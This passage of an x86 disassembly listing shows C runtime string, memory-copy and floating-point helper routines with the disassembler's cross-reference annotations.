					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE38


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE38, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE20
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE40, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

